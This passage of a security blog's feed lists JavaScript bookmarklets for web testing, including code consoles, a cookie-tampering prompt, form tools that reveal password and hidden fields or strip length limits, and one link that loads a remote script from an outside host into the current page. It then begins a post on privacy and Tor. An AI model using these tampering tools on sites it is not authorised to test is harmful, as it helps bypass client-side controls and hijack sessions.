}\n            bestmatch = bestmatch.substr(0,i);\n            ////dump(\&quot;bestmatch len: \&quot; + i + \&quot;\\n\&quot;);\n          }\n          ////dump(\&quot;bestmatch: \&quot; + bestmatch + \&quot;\\n\&quot;);\n        }\n      }\n      bestmatch = (bestmatch || \&quot;\&quot;);\n      ////dump(\&quot;matches: \&quot; + matches + \&quot;\\n\&quot;);\n      var objAndComplete = (objname || obj) + \&quot;.\&quot; + bestmatch;\n      //dump(\&quot;matches.length: \&quot; + matches.length + \&quot;, tooManyMatches: \&quot; + tooManyMatches + \&quot;, objAndComplete: \&quot; + objAndComplete + \&quot;\\n\&quot;);\n      if(matches.length &gt; 1 &amp;&amp; (tooManyMatches == objAndComplete || matches.length &lt;= 10)) {\n\n        printWithRunin(\&quot;Matches: \&quot;, matches.join(', '), \&quot;tabcomplete\&quot;);\n        tooManyMatches = null;\n      }\n      else if(matches.length &gt; 10)\n      {\n        println(matches.length + \&quot; matches.  Press tab again to see them all\&quot;, \&quot;tabcomplete\&quot;);\n        tooManyMatches = objAndComplete;\n      }\n      else {\n        tooManyMatches = null;\n      }\n      if(bestmatch != \&quot;\&quot;)\n      {\n        var sstart;\n        if(dotpos == caret) {\n          sstart = spacepos+1;\n        }\n        else {\n          sstart = dotpos+1;\n        }\n        _in.value = _in.value.substr(0, sstart)\n                  + bestmatch\n                  + _in.value.substr(caret);\n        setselectionto(_in,caret + (bestmatch.length - complete.length));\n      }\n    }\n}\n\nfunction printQuestion(q)\n{\n  println(q, \&quot;input\&quot;);\n}\n\nfunction printAnswer(a)\n{\n  if (a !== undefined) {\n    println(a, \&quot;normalOutput\&quot;);\n    shellCommands.ans = a;\n  }\n}\n\nfunction printError(er)\n{ \n  var lineNumberString;\n\n  lastError = er; // for debugging the shell\n  if (er.name)\n  {\n    // lineNumberString should not be \&quot;\&quot;, to avoid a very wacky bug in IE 6.\n    lineNumberString = (er.lineNumber != undefined) ? (\&quot; on line \&quot; + er.lineNumber + \&quot;: \&quot;) : \&quot;: \&quot;;\n    println(er.name + lineNumberString + er.message, \&quot;error\&quot;); // Because IE doesn't have error.toString.\n  }\n  else\n    println(er, \&quot;error\&quot;); // Because security errors in Moz /only/ have toString.\n}\n\nfunction go(s)\n{\n  _in.value = question = s ? s : _in.value;\n\n  if (question == \&quot;\&quot;)\n    return;\n\n  histList[histList.length-1] = question;\n  histList[histList.length] = \&quot;\&quot;;\n  histPos = histList.length - 1;\n  \n  // Unfortunately, this has to happen *before* the JavaScript is run, so that \n  // print() output will go in the right place.\n  _in.value='';\n  recalculateInputHeight();\n  printQuestion(question);\n\n  if (_win.closed) {\n    printError(\&quot;Target window has been closed.\&quot;);\n    return;\n  }\n  \n  try { (\&quot;Shell\&quot; in _win) }\n  catch(er) {\n    printError(\&quot;The JavaScript Shell cannot access variables in the target window.  The most likely reason is that the target window now has a different page loaded and that page has a different hostname than the original page.\&quot;);\n    return;\n  }\n\n  if (!(\&quot;Shell\&quot; in _win))\n    initTarget(); // silent\n\n  // Evaluate Shell.question using _win's eval (this is why eval isn't in the |with|, IIRC).\n  _win.location.href = \&quot;javascript:try{ Shell.printAnswer(eval('with(Shell._scope) with(Shell.shellCommands) {' + Shell.question + String.fromCharCode(10) + '}')); } catch(er) { Shell.printError(er); }; setTimeout(Shell.refocus, 0); void 0\&quot;;\n}\n\n&lt;/script&gt;\n\n&lt;!-- for http://ted.mielczarek.org/code/mozilla/extensiondev/ --&gt;\n&lt;script type=\&quot;text/javascript\&quot; src=\&quot;chrome://extensiondev/content/rdfhistory.js\&quot;&gt;&lt;/script&gt;\n&lt;script type=\&quot;text/javascript\&quot; src=\&quot;chrome://extensiondev/content/chromeShellExtras.js\&quot;&gt;&lt;/script&gt;\n\n&lt;style type=\&quot;text/css\&quot;&gt;\nbody { background: white; color: black; }\n\n#output { white-space: pre; white-space: -moz-pre-wrap; } /* Preserve line breaks, but wrap too if browser supports it */\nh3 { margin-top: 0; margin-bottom: 0em; }\nh3 + div { margin: 0; }\n\nform { margin: 0; padding: 0; }\n#input { width: 100%25; border: none; padding: 0; overflow: auto; }\n\n.input { color: blue; background: white; font: inherit; font-weight: bold; margin-top: .5em; /* background: #E6E6FF; */ }\n.normalOutput { color: black; background: white; }\n.print { color: brown; background: white; }\n.error { color: red; background: white; }\n.propList { color: green; background: white; }\n.message { color: green; background: white; }\n.tabcomplete { color: purple; background: white; }\n&lt;/style&gt;\n&lt;/head&gt;\n\n&lt;body onload=\&quot;init()\&quot;&gt;\n\n&lt;div id=\&quot;output\&quot;&gt;&lt;h3&gt;JavaScript Shell 1.4&lt;/h3&gt;&lt;div&gt;Features: autocompletion of property names with Tab, multiline input with Shift+Enter, input history with (Ctrl+) Up/Down, &lt;a accesskey=\&quot;M\&quot; href=\&quot;javascript:go('scope(Math); mathHelp();');\&quot; title=\&quot;Accesskey: M\&quot;&gt;Math&lt;/a&gt;, &lt;a accesskey=\&quot;H\&quot; href=\&quot;http://www.squarefree.com/shell/?ignoreReferrerFrom=shell1.4\&quot;  title=\&quot;Accesskey: H\&quot;&gt;help&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Values and functions: ans, print(string), &lt;a accesskey=\&quot;P\&quot; href=\&quot;javascript:go('props(ans)')\&quot; title=\&quot;Accesskey: P\&quot;&gt;props(object)&lt;/a&gt;, &lt;a accesskey=\&quot;B\&quot; href=\&quot;javascript:go('blink(ans)')\&quot; title=\&quot;Accesskey: B\&quot;&gt;blink(node)&lt;/a&gt;, &lt;a accesskey=\&quot;C\&quot; href=\&quot;javascript:go('clear()')\&quot; title=\&quot;Accesskey: C\&quot;&gt;clear()&lt;/a&gt;, load(scriptURL), scope(object)&lt;/div&gt;&lt;/div&gt;\n\n&lt;div&gt;&lt;textarea id=\&quot;input\&quot; class=\&quot;input\&quot; wrap=\&quot;off\&quot; onkeydown=\&quot;inputKeydown(event)\&quot; rows=\&quot;1\&quot;&gt;&lt;/textarea&gt;&lt;/div&gt;\n\n&lt;/body&gt;\n\n&lt;/html&gt;&quot;);document.close();}void 0">jsShell</a> &#8211; probably one of the most appreciated bookmarklets out there. Upon execution it pops up a window in which you can execute javascript code. Among it&#8217;s great features is the props() function which displays the methods/properties of a desired element, object, string, etc.</p>
<p><a href="javascript:try{eval(unescape(prompt(&quot;enter&nbsp;a&nbsp;javascript&nbsp;statement&quot;,&quot;&quot;)))}catch(er){alert(er)};">jsEval</a> &#8211; a quick and slick way to run small pieces of javascript code.</p>
<p><a href="javascript:with(window.open(&quot;&quot;,&quot;_blank&quot;,&quot;width=&quot;+screen.width*.6+&quot;,left=&quot;+screen.width*.35+&quot;,height=&quot;+screen.height*.9+&quot;,resizable,scrollbars=yes&quot;)){document.write(&quot;&lt;head&gt;&lt;title&gt;JavaScript Development Environment 2.0.1&lt;/title&gt;&lt;!-- about:blank confuses opera.. --&gt;&lt;/head&gt;&lt;frameset rows=\&quot;25,*,*\&quot;&gt;\n\n  &lt;frame name=\&quot;toolbarFrame\&quot; src=\&quot;about:blank\&quot; noresize=\&quot;noresize\&quot;&gt;\n\n  &lt;frame name=\&quot;inputFrame\&quot; src=\&quot;about:blank\&quot;&gt;\n\n  &lt;frame name=\&quot;outputFrame\&quot; src=\&quot;about:blank\&quot;&gt;\n\n&lt;/frameset&gt;\n\n&quot;);document.close(); frames[0].document.write(&quot;&lt;head&gt;&lt;!-- no doctype - it makes IE ignore the height: 100%25. --&gt;&lt;title&gt;toolbarFrame&lt;/title&gt;\n\n\n\n&lt;style type=\&quot;text/css\&quot;&gt;\nhtml,body { width: 100%25; height: 100%25; border: none; margin: 0px; padding: 0px; }\nbutton { height: 100%25; }\n&lt;/style&gt;\n\n&lt;script type=\&quot;text/javascript\&quot;&gt;\n\nvar outputFrame = parent.outputFrame;\nvar inputFrame = parent.inputFrame;\nvar framesetElement = parent.document.documentElement.getElementsByTagName(\&quot;frameset\&quot;)[0];\n\nvar savedRows;\n\n\n// Need to use C-style comments in handleError() and print() \n// because IE retains them when decompiling a function.\n\n\n\nfunction print(s, c) {\n  var outputFrame = parent.outputFrame; /* duplicated here in case this function is elsewhere */\n  var doc = outputFrame.document;\n\n  var newdiv = doc.createElement(\&quot;div\&quot;);\n  newdiv.appendChild(doc.createTextNode(s));\n  if (c)\n    newdiv.style.color = c;\n  doc.body.appendChild(newdiv);\n}\n\nfunction handleError(er, file, lineNumber) \n{\n  print(\&quot;Error on line \&quot; + lineNumber + \&quot;: \&quot; + er, \&quot;red\&quot;); \n    \n  /* Find the character offset for the line */\n  /* (code adapted from blogidate xml well-formedness bookmarklet) */\n  var ta = inputFrame.document.getElementById(\&quot;input\&quot;);\n  var lines = ta.value.split(\&quot;\\n\&quot;);\n  var cc = 0; \n  var i;\n  for(i=0; i &lt; (lineNumber - 1); ++i) \n    cc += lines[i].length + 1;\n\n  /* Hacky(?) workaround for IE's habit of including \\r's in strings */\n  if (ta.value.split(\&quot;\\r\&quot;).length &gt; 1)\n    cc -= lineNumber - 1;\n\n  /* Select the line */\n  if(document.selection) { \n    /* IE (Leonard Lin gave me this code) */\n    var sel = ta.createTextRange(); \n    sel.moveStart(\&quot;character\&quot;, cc); \n    sel.collapse(); \n    sel.moveEnd(\&quot;character\&quot;, lines[i].length); \n    sel.select();\n  } else { \n    /* Mozilla */\n    ta.selectionStart = cc; \n    ta.selectionEnd = cc + lines[i].length; \n  }\n \n  /* return true; */ /* nah, let the error go through to IE's js consolish thing! */\n}\n\n\n\n\n\nfunction showHideOutput()\n{\n  if (outputFrame.document.body.clientHeight &gt; 100) {\n    // hide\n    savedRows = framesetElement.rows;    \n    framesetElement.rows = \&quot;25,*,0\&quot;;\n  }\n  else {\n    // show. use the previous size, if possible\n    if (savedRows) {\n      framesetElement.rows = savedRows;\n      savedRows = null;\n    }\n    else {\n      framesetElement.rows = \&quot;25,*,*\&quot;;\n    }\n  }\n}\n\nfunction refocus()\n{\n  inputFrame.document.getElementById(\&quot;input\&quot;).focus();\n}\n\n\nfunction clearOutput()\n{\n  var b = outputFrame.document.body;\n  while(b.firstChild)\n    b.removeChild(b.firstChild);\n}\n\nfunction stripLineBreaks(s)\n{\n  return s.replace(/\\n/g, \&quot;\&quot;).replace(/\\r/g, \&quot;\&quot;); // stripping \\r is for IE\n}\n\nfunction execute()\n{\n  var js = inputFrame.document.getElementById(\&quot;input\&quot;).value;\n\n  var useOpener = parent.opener &amp;&amp; !parent.opener.closed;\n  var oldStyle = !! document.all; // lame but meh.\n  \n  print(\&quot;Running\&quot; + (useOpener ? \&quot; in bookmarklet mode\&quot; : \&quot;\&quot;) + (oldStyle ? \&quot; in make-IE-happy mode\&quot; : \&quot;\&quot;) + \&quot;...\&quot;, \&quot;orange\&quot;);\n\n  if (useOpener)\n    executeWithJSURL(js, parent.opener); // only way to execute against another frame\n  else if (oldStyle)\n    executeWithDW(js, execFrame); // only way to get line numbers in IE\n  else\n    executeWithJSURL(js, execFrame); // faster in Mozilla  \n}\n\n// Advantages: can get line numbers in IE.\nfunction executeWithDW(js, win)\n{\n  win.document.open();\n  win.inputFrame = inputFrame;\n  win.outputFrame = outputFrame;\n  win.document.write(\n    stripLineBreaks(\n        '&lt;!DOCTYPE HTML PUBLIC \&quot;-//W3C//DTD HTML 4.01//EN\&quot; \&quot;http://www.w3.org/TR/html4/strict.dtd\&quot;&gt;' +\n        '&lt;html&gt;&lt;head&gt;&lt;title&gt;execFrame&lt;\\/title&gt;&lt;script type=\&quot;text/javascript\&quot;&gt;'\n      + print         // yay for decompilation!\n      + handleError \n      + \&quot;window.onerror = handleError;\&quot;\n      + \&quot;&lt;\\/script&gt;&lt;\\/head&gt;\&quot;\n      ) \n    + '&lt;body&gt;&lt;script type=\&quot;text/javascript\&quot;&gt;'\n    + js         // should escape it a little to remove the string &lt;\\/script&gt; at least...\n    + \&quot;&lt;\\/script&gt;&lt;\\/body&gt;&lt;\\/html&gt;\&quot;\n    );\n  win.document.close();\n}\n\n// Advantages: can be used to inject a script into another window, faster in Mozilla.\nfunction executeWithJSURL(js, win)\n{\n  // isolate scope\n  js = \&quot;(function(){ \&quot; + js + \&quot; \\n })()\&quot;;\n\n  win.print = print;\n  win.onerror = handleError;\n\n  // double encodeURIComponent because javascript: URLs themselves are encoded!\n  win.location.href = 'javascript:eval(decodeURIComponent(\&quot;' + encodeURIComponent(encodeURIComponent(js)) + '\&quot;)); void 0;';\n  \n  refocus();\n}\n\n// Other ideas I haven't tried lately: create a &lt;script&gt; element, eval.\n\n\nfunction makeUserScript(userScriptLink)\n{\n    userScriptLink.href = \n        \&quot;data:text/javascript;charset=utf-8,\&quot; + \n        encodeURIComponent(inputFrame.document.getElementById(\&quot;input\&quot;).value + \&quot;//.user.js\&quot;);\n}\n\n&lt;/script&gt;&lt;/head&gt;&lt;body&gt;\n\n&lt;button accesskey=\&quot;E\&quot; onclick=\&quot;execute(); refocus();\&quot;&gt;&lt;u&gt;E&lt;/u&gt;xecute&lt;/button&gt;\n&lt;!-- &lt;button accesskey=\&quot;R\&quot; onclick=\&quot;reloadAndExecute(); refocus();\&quot;&gt;&lt;u&gt;R&lt;/u&gt;eload and execute&lt;/button&gt; --&gt;\n&lt;button accesskey=\&quot;C\&quot; onclick=\&quot;clearOutput(); refocus();\&quot;&gt;&lt;u&gt;C&lt;/u&gt;lear output&lt;/button&gt;\n&lt;button accesskey=\&quot;S\&quot; onclick=\&quot;showHideOutput(); refocus();\&quot;&gt;&lt;u&gt;S&lt;/u&gt;how/hide output&lt;/button&gt;\n&lt;!-- &lt;button accesskey=\&quot;H\&quot; onclick=\&quot;help(); refocus();\&quot;&gt;&lt;u&gt;H&lt;/u&gt;elp&lt;/button&gt; --&gt;\n\n&lt;a href=\&quot;data:text/html,...\&quot; onfocus=\&quot;makeUserScript(this);\&quot; onmouseover=\&quot;makeUserScript(this);\&quot; target=\&quot;_blank\&quot;&gt;Install as user script&lt;/a&gt;\n\n&lt;div style=\&quot;visibility: hidden;\&quot;&gt;\n&lt;iframe name=\&quot;execFrame\&quot; src=\&quot;about:blank\&quot; height=\&quot;5\&quot; width=\&quot;5\&quot;&gt;&lt;/iframe&gt;\n&lt;/div&gt;\n\n&lt;/body&gt;&quot;); frames[0].document.close(); frames[1].document.write(&quot;&lt;head&gt;&lt;!-- no doctype - it makes IE ignore the height: 100%25. --&gt;&lt;title&gt;inputFrame&lt;/title&gt;\n\n\n\n\n\n&lt;style type=\&quot;text/css\&quot;&gt;\n\nhtml,body,form,textarea { width: 100%25; height: 100%25; border: none; margin: 0px; padding: 0px; }\nhtml,body { overflow: hidden; }\n\n&lt;/style&gt;&lt;/head&gt;&lt;body onload=\&quot;document.getElementById('input').select();\&quot;&gt;\n&lt;textarea style=\&quot;background-color: rgb(221, 238, 255);\&quot; id=\&quot;input\&quot;&gt;// ==UserScript==\n// @namespace     http://www.squarefree.com/jsenv/autogenerated\n// @name          Unnamed script\n// @description   Undescribed script\n// ==/UserScript==\n\nprint(\&quot;Squares of numbers 0 through 4:\&quot;);\nfor (var i = 0; i &amp;lt; 5; ++i)\n  print(i * i);\n\nthis.statement.causes(an.error);\n&lt;/textarea&gt;\n&lt;/body&gt;&quot;); frames[1].document.close();   }void 0">jsEnv</a> &#8211; useful Bookmarklet/UserScript development environmnent. For running other small scripts, I&#8217;d still recommend the jsShell.</p>
<p><a href="javascript:void(document.cookie=prompt(&quot;modify cookie&quot;, document.cookie))">modCookie</a> &#8211; easy and fast cookie tampering.</p>
<p><a href="javascript:function mRd(){return(Math.round(Math.random()*1000));}function V(f){if(!f.length)return f.value;else{var rd=mRd(),O='&lt;input type=\'checkbox\' onclick=\'T(this,'+rd+')\'&gt;Show Values ['+f.length+']&lt;br&gt;&lt;div id=\''+rd+'\' style=\'display:none;\'&gt;\n&lt;table border=\'0\' cellpadding=\'0\' cellspacing=\'2\'&gt;&lt;form&gt;';for(var x=0;x&lt;f.length;x++){var b1=(f[x].selected||f[x].checked)?' bgcolor=\'yellow\'':'';var b2='&lt;/td&gt;';O+='\n&lt;tr'+b1+'&gt;\n\t&lt;td class=\'red\'&gt;'+f[x].value+b2+'\n\t&lt;td class=\'blue\'&gt;'+((f[x].text)?f[x].text:'')+b2+'&lt;/tr&gt;';}O+='&lt;/form&gt;&lt;/table&gt;&lt;/div&gt;';}return O;}function P(f,y){var rd=mRd(),ch='',a='&lt;br&gt;\n&lt;table style=\'background:#cccccc;margin-bottom:-16px;\' border=\'1\' cellspacing=\'0\' cellpadding=\'2\'&gt;\n&lt;tr&gt;&lt;td&gt;&lt;b&gt;name:&lt;/b&gt; ['+f.name+']&amp;nbsp; &amp;nbsp;&lt;b&gt;id:&lt;/b&gt; ['+f.id+']&amp;nbsp;&lt;b&gt;method: &lt;/b&gt;[&lt;a href=\'javascript:tM(opener.document.forms['+y+'],'+rd+')\' id=\''+rd+'\' title=\'Toggle Method\'&gt;'+f.method+'&lt;/a&gt;]&lt;br /&gt;&lt;b&gt;action:&lt;/b&gt;&amp;nbsp;'+f.action+'&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;\n&lt;table border=\'1\' cellspacing=\'0\' cellpadding=\'2\'&gt;\n&lt;tr class=\'b\'&gt;&lt;td width=\'20\'&gt;&lt;/td&gt;\n\t&lt;td width=\'75\'&gt;type&lt;/td&gt;\n\t&lt;td&gt;name&lt;/td&gt;\n\t&lt;td&gt;id&lt;/td&gt;\n\t&lt;td&gt;value&lt;/td&gt;&lt;/tr&gt;';for(var x=0;x&lt;f.length;x++){var el=f[f[x].name];if(ch.indexOf(f[x].name)&lt;0&amp;&amp;f[x].tagName!='FIELDSET'){a+='\n&lt;tr&gt;&lt;td valign=\'top\'&gt;&lt;b&gt;'+x+'&lt;/b&gt;&lt;/td&gt;\n\t&lt;td valign=\'top\'&gt;'+f[x].type+'&lt;/td&gt;\n\t&lt;td valign=\'top\' class=\'red\'&gt;'+f[x].name+'&lt;/td&gt;\n\t&lt;td valign=\'top\' class=\'green\'&gt;'+f[x].id+'&amp;nbsp;&lt;/td&gt;\n\t&lt;td class=\'blue\' ondblclick=\'tPre(this)\' title=\'Doubleclick to toggle wrapping\'&gt;'+V(el)+'&lt;/td&gt;&lt;/tr&gt;';ch+=el.name;}}a+='&lt;/table&gt;';return a;}function R(d){var b='\n&lt;scr'+'ipt&gt;\nfunction T(ch,dv){document.getElementById(dv).style.display=(ch.checked)?\'block\':\'none\';}\nfunction tM(f,id){f.method=(f.method==\'post\')?\'get\':\'post\';document.getElementById(id).innerHTML=f.method;}\nfunction tPre(o){o.className=(o.className==\'bluePre\')?\'blue\':\'bluePre\';}\n&lt;/scr'+'ipt&gt;\n&lt;sty'+'le type=\'text/css\'&gt;\n*{font:10px Verdana;}\nb,.b td{font-weight:bold;}\n.red{color:red;}\n.blue{color:blue;white-space:normal;}.bluePre{color:blue;background-color:#FFFFCC;white-space:pre;font-family:Monaco,\'Courier New\';}\n.green{color:green;}\n.big{font-size:12px;font-weight:bold;}\n&lt;/style&gt;\n';var foL=d.forms.length;if(foL&gt;0){for(var y=0;y&lt;foL;y++)b+='&lt;br&gt;&lt;span class=\'big\'&gt;Form '+y+':&lt;/span&gt; &lt;a href=\'javascript:opener.document.forms['+y+'].submit();\'&gt;submit&lt;/a&gt;'+P(d.forms[y],y)+'&lt;br&gt;';}else b+='&lt;br&gt;No Forms';return b;}var c='&lt;body&gt;&lt;div class=\'big\'&gt;Forms Information for: '+window.location+'&lt;div/&gt;';var frL=window.frames.length;c+=R(document);for(z=0;z&lt;frL;z++){var frEr=false,fz;try{fz=frames[z].location.href;}catch(er){frEr=true}c+='&lt;div class=\'big\'&gt;&lt;b&gt;Frame '+z+'&lt;/b&gt;: ';if(frEr)c+='Remote frame, access denied';else c+=frames[z].name+'&lt;br&gt;&lt;b&gt;url:&lt;/b&gt; '+frames[z].location.toString()+'&lt;/div&gt;'+R(window.frames[z].document)+'&lt;hr&gt;'}w=window.open('','Forms','scrollbars,resizable,width=700,height=800,top=0,left=0');w.document.write(c+'&lt;/body&gt;');">formInfo</a> &#8211; get the information about all the forms (and it&#8217;s fields) in the active page. Has the ability to swap between form methods, and to submit them from the generated page.</p>
<p><a href="javascript:var r='';var df=document.forms;for (i=0;i&lt;df.length;++i) {var callform='';df[i].name?callform=df[i].name:callform=df[i].id;r+='&lt;br&gt;&lt;b&gt;Form: '+callform+' ['+df[i].method+'] '+df[i].action+'&lt;/b&gt;&lt;br&gt;';r+='&lt;table border=1 style=\'font:x-small verdana\'&gt;&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;';for(j=0;j&lt;df[i].elements.length;++j) {r+='&lt;tr valign=top&gt;';r+='&lt;td&gt;'+df[i].elements[j].name+'&lt;/td&gt;%C2%A0%C2%A0';r+='&lt;td&gt;'+df[i].elements[j].type+'%C2%A0%C2%A0&lt;/td&gt;';r+='&lt;td&gt;'+df[i].elements[j].value+'%C2%A0%C2%A0&lt;/td&gt;';r+='&lt;/tr&gt;';}r+='&lt;/table&gt;';}r='&lt;h2&gt;Report for: '+document.location.href+'&lt;/h2&gt;&lt;br&gt;&lt;br&gt;'+r;var w=window.open('', 'w', '');w.document.open();w.document.write(r);w.document.close();">formReport</a> &#8211; same as formInfo, just less colorfull :). And without the swap and submit features.</p>
<p><a href="javascript:(function(){var i,f,j,e,div,label,ne;for(i=0;f=document.forms[i];++i)for(j=0;e=f[j];++j)if(e.type==%22password%22){D=document; function C(t){return D.createElement(t);} function A(a,b){a.appendChild(b);} div=C(%22div%22); label=C(%22label%22); A(div, label); A(label, D.createTextNode(%22 %22)); e.parentNode.insertBefore(div, e); e.parentNode.removeChild(e); ne=C(%22input%22);/*for ie*/ ne.type=%22text%22; ne.value=e.value; ne.name=e.name;ne.id=e.id;A(label, ne); label.style.MozOpacity=%22.6%22; --j;/*for moz*/}})()">formPassword2Text</a> &#8211; convert all password input fields to text ones.</p>
<p><a href="javascript:(function(){var i,f,j,e,div,label,ne; for(i=0;f=document.forms[i];++i)for(j=0;e=f[j];++j)if(e.type==%22hidden%22){ D=document; function C(t){return D.createElement(t);} function A(a,b){a.appendChild(b);} div=C(%22div%22); label=C(%22label%22); A(div, label); A(label, D.createTextNode(e.name + %22: %22)); e.parentNode.insertBefore(div, e); e.parentNode.removeChild(e); ne=C(%22input%22);/*for ie*/ ne.type=%22text%22; ne.value=e.value; ne.name=e.name;ne.id=e.id;A(label, ne); label.style.MozOpacity=%22.6%22; --j;/*for moz*/}})()">formHidden2Text</a> &#8211; converts input with type hidden to text.</p>
<p><a href="javascript:for (i=0;i&lt;document.forms.length;++i) {for(j=0;j&lt;document.forms[i].elements.length;++j){document.forms[i].elements[j].removeAttribute(%22maxLength%22);}}">formNoMax</a> &#8211; remove max length restriction.</p>
<p><a href="javascript:location=&quot;http://www.google.com/search?num=100&amp;q=site:&quot; + escape(location.hostname) + &quot; &quot; + prompt(&quot;key words&quot;,&quot;&quot;); void 0">searchOnGoogle</a> &#8211; search website via google</p>
<p><a href="javascript:( function(){ for (i=0; i &lt; document.links.length; i++) { if (document.links[i].href.match(/http:\/\/.*http(:|%253A)(\/|%252F)(\/|%252F)/i)){ alert(document.links[i]); } } })();">findRedirects</a> &#8211; find redirects in links</p>
<p><a href="javascript:eMlA='';for(iB2M=0;iB2M&lt;document.links.length;iB2M++){if(document.links[iB2M].protocol=='mailto:'){Ju59=document.links[iB2M].toString();eMlA+=Ju59.substring(7,Ju59.length)+'\n'}};if(eMlA!=''){alert(eMlA)}else{alert('No mailto links on page!')}">findEmailLinks</a> &#8211; find email links in page.</p>
<p><a href="javascript:(function(){var x,n,nD,z,i; function htmlEscape(s){s=s.replace(/&amp;/g,'&amp;amp;');s=s.replace(/&gt;/g,'&amp;gt;');s=s.replace(/&lt;/g,'&amp;lt;');return s;} function attrQuoteEscape(s){s=s.replace(/&amp;/g,'&amp;amp;'); s=s.replace(/&quot;/g, '&amp;quot;');return s;} x=prompt(&quot;show links with this word/phrase in link text or target url (leave blank to list all links):&quot;, &quot;&quot;); n=0; if(x!=null) { x=x.toLowerCase(); nD = window.open().document; nD.writeln('&lt;html&gt;&lt;head&gt;&lt;title&gt;Links containing &quot;'+htmlEscape(x)+'&quot;&lt;/title&gt;&lt;base target=&quot;_blank&quot;&gt;&lt;/head&gt;&lt;body&gt;'); nD.writeln('Links on &lt;a href=&quot;'+attrQuoteEscape(location.href)+'&quot;&gt;'+htmlEscape(location.href)+'&lt;/a&gt;&lt;br&gt; with link text or target url containing &amp;quot;' + htmlEscape(x) + '&amp;quot;&lt;br&gt;&lt;hr&gt;'); z = document.links; for (i = 0; i &lt; z.length; ++i) { if ((z[i].innerHTML &amp;&amp; z[i].innerHTML.toLowerCase().indexOf(x) != -1) || z[i].href.toLowerCase().indexOf(x) != -1 ) { nD.writeln(++n + '. &lt;a href=&quot;' + attrQuoteEscape(z[i].href) + '&quot;&gt;' + (z[i].innerHTML || htmlEscape(z[i].href)) + '&lt;/a&gt;&lt;br&gt;'); } } nD.writeln('&lt;hr&gt;&lt;/body&gt;&lt;/html&gt;'); nD.close(); } })();">findLinks</a> &#8211; scraps all the links in the page.</p>
<p><a href="javascript:document.location = 'http://ha.ckers.org/weird/ipsearch.cgi?' + document.domain">searchIP</a> &#8211; searches more domains on the same IP address.</p>
<p><a href="javascript:document.body.innerHTML='&lt;noscript&gt;pls turn on js for this domain&lt;/noscript&gt;&lt;script src=http://ha.ckers.org/securitytest.js&gt;&lt;/script&gt;';">checkSecurity</a> &#8211; check the crossdomain.xml and robots.txt files.</p>
<p><a href="javascript:s=document.getElementsByTagName('SCRIPT'); d=window.open().document; /*140681*/d.open();d.close(); b=d.body; function trim(s){return s.replace(/^\s*\n/, '').replace(/\s*$/, ''); }; function add(h){b.appendChild(h);} function makeTag(t){return d.createElement(t);} function makeText(tag,text){t=makeTag(tag);t.appendChild(d.createTextNode(text)); return t;} add(makeText('style', 'iframe{width:100%;height:18em;border:1px solid;')); add(makeText('h3', d.title='Scripts in ' + location.href)); for(i=0; i&lt;s.length; ++i) { if (s[i].src) { add(makeText('h4','script src=&quot;' + s[i].src + '&quot;')); iframe=makeTag('iframe'); iframe.src=s[i].src; add(iframe); } else { add(makeText('h4','Inline script')); add(makeText('pre', trim(s[i].innerHTML))); } } void 0">viewScripts</a> &#8211; view the currently included scripts.</p>
<p><a href="javascript:s=document.getElementsByTagName('STYLE'); ex=document.getElementsByTagName('LINK'); d=window.open().document; /*set base href*/d.open();d.close(); b=d.body; function trim(s){return s.replace(/^\s*\n/, '').replace(/\s*$/, ''); }; function iff(a,b,c){return b?a+b+c:'';}function add(h){b.appendChild(h);} function makeTag(t){return d.createElement(t);} function makeText(tag,text){t=makeTag(tag);t.appendChild(d.createTextNode(text)); return t;} add(makeText('style', 'iframe{width:100%;height:18em;border:1px solid;')); add(makeText('h3', d.title='Style sheets in ' + location.href)); for(i=0; i&lt;s.length; ++i) { add(makeText('h4','Inline style sheet'  + iff(' title=&quot;',s[i].title,'&quot;'))); add(makeText('pre', trim(s[i].innerHTML))); } for (i=0; i&lt;ex.length; ++i) { rs=ex[i].rel.split(' '); for(j=0;j&lt;rs.length;++j) if (rs[j].toLowerCase()=='stylesheet') { add(makeText('h4','link rel=&quot;' + ex[i].rel + '&quot; href=&quot;' + ex[i].href + '&quot;' + iff(' title=&quot;',ex[i].title,'&quot;'))); iframe=makeTag('iframe'); iframe.src=ex[i].href; add(iframe); break; } } void 0">viewCSS</a> &#8211; view currently included style sheets.</p>
<p>For these and more bookmarklets check them out on&#8230; <a href="http://www.google.com/search?q=bookmarklets" target="_blank">Google -> Bookmarklets</a>&#8230; Note: some may not work in other browsers than Firefox, like the jsShell for example&#8230;</p></p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/bookmarklets/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Regain your privacy and anonymity</title>
		<link>http://insanesecurity.info/blog/regain-your-privacy-and-anonymity</link>
		<comments>http://insanesecurity.info/blog/regain-your-privacy-and-anonymity#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:31:06 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Discussion]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[Anonymity]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=58</guid>
		<description><![CDATA[Hopefully as you may have noticed, on a daily basis more and more of our (users) privacy is stripped shamelessly away by almost every website out there. And so you don&#8217;t think I am speaking in a hypocritical manner, I admit I strip as well a part from your privacy, with the simple Google tracker [...]]]></description>
			<content:encoded><![CDATA[<p>Hopefully as you may have noticed, on a daily basis more and more of our (users) privacy is stripped shamelessly away by almost every website out there.</p>
<p>And so you don&#8217;t think I am speaking in a hypocritical manner, I admit I strip as well a part from your privacy, with the simple Google tracker I have inside my web pages&#8230; but for those that do care about their anonymity this is not an issue.
</p>
<p><span id="more-58"></span></p>
<h2><a href="http://www.torproject.org">Tor</a></h2>
<p>As any other person would say, as a first step in regaining your anonymity would be installing the Tor bundle&#8230; And don&#8217;t get me that &#8220;just hackers use proxies&#8221;, because it&#8217;s not true&#8230; who would use a proxy for a <a href="http://www.liquidmatrix.org/blog/2009/04/14/commit-crime-with-a-proxy-get-25-more-buh-bye/">%25 bonus prison time if caught</a>? (they would use their own tunnels and proxies, not Tor networks)</p>
